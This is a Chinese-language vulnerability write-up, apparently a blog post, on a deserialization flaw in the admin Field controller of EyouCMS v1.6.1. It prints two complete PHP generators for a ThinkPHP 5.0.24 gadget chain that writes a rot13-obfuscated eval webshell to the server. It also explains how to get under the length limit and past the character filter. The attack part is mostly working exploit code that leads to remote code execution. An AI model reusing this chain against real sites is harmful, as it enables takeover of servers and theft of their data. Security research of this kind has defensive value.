前言
官网地址:https://www.eyoucms.com/
看到很多EyouCMS的XSS,从官网下载源码随便看看。
EyouCMS v1.6.1 反序列化漏洞
application/admin/controller/Field.php#channel_edit调用了unserialize,unserialize的参数无法直接控制。
此处反序列化的参数来自数据库的查询结果,很容易想到通过channel_add函数向数据库中插入序列化数据,非常简单的思路,但是问题却没有这么简单。
在channel_add函数中,如果传入的字段类型为区域,那么将无法控制默认值。
测试了application/admin/controller/Field.php中的一些功能后,发现arctype_edit函数和channel_edit函数操作的是同一张表,此时想到也许可以用arctype_edit函数替代channel_edit函数来修改数据库中的数据。
果然可以。
EyouCMS基于ThinkPHP 5.0.24,直接用ThinkPHP 5.0.24的反序列化链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php
namespace think\cache\driver; class File { protected $tag='t'; protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php', 'data_compress' => false, ]; } namespace think\session\driver; use think\cache\driver\File; class Memcached { protected $handler; function __construct() { $this->handler=new File(); } } namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = ['removeWhereField']; function __construct() { $this->handle=new Memcached(); } } namespace think\model\relation; use think\console\Output; class HasOne { function __construct() { $this->query=new Output(); }
} namespace think\model; use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo base64_encode(serialize($x));
|
因为不存在字段名称为channel_add的arctype,所以报错了。
通过arctype_add函数新增一个字段名称为channel_add的arctype后重新发包,因为序列化数据的长度超过了最大长度500又报错了。删除了一些无关紧要的类属性同时将类属性的访问控制修改为public以缩短序列化数据的长度,最终序列化数据长度为499,极限绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php
namespace think\cache\driver; class File { public $tag='t'; public $options = [ 'path' => 'php://filter/string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php' ]; } namespace think\session\driver; use think\cache\driver\File; class Memcached { public $handler; function __construct() { $this->handler=new File(); } } namespace think\console; use think\session\driver\Memcached; class Output { public $styles = ['removeWhereField']; function __construct() { $this->handle=new Memcached(); } } namespace think\model\relation; use think\console\Output; class HasOne { function __construct() { $this->query=new Output(); }
} namespace think\model; use think\model\relation\HasOne; class Pivot { public $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo strlen(serialize($x)); echo base64_encode(serialize($x));
|
本以为大功告成,但是调用channel_edit函数后并没有如预期那样写入webshell,发现数据库中的序列化数据少了一些字符。
分析源码,当传入的字段类型为区域时,默认值中的一些字符会被替换为空。
通过传入数组的方式就能够使传入的字段类型不满足if的条件,从而避免序列化数据中的一些字符被替换为空。
最后触发反序列化写入webshell。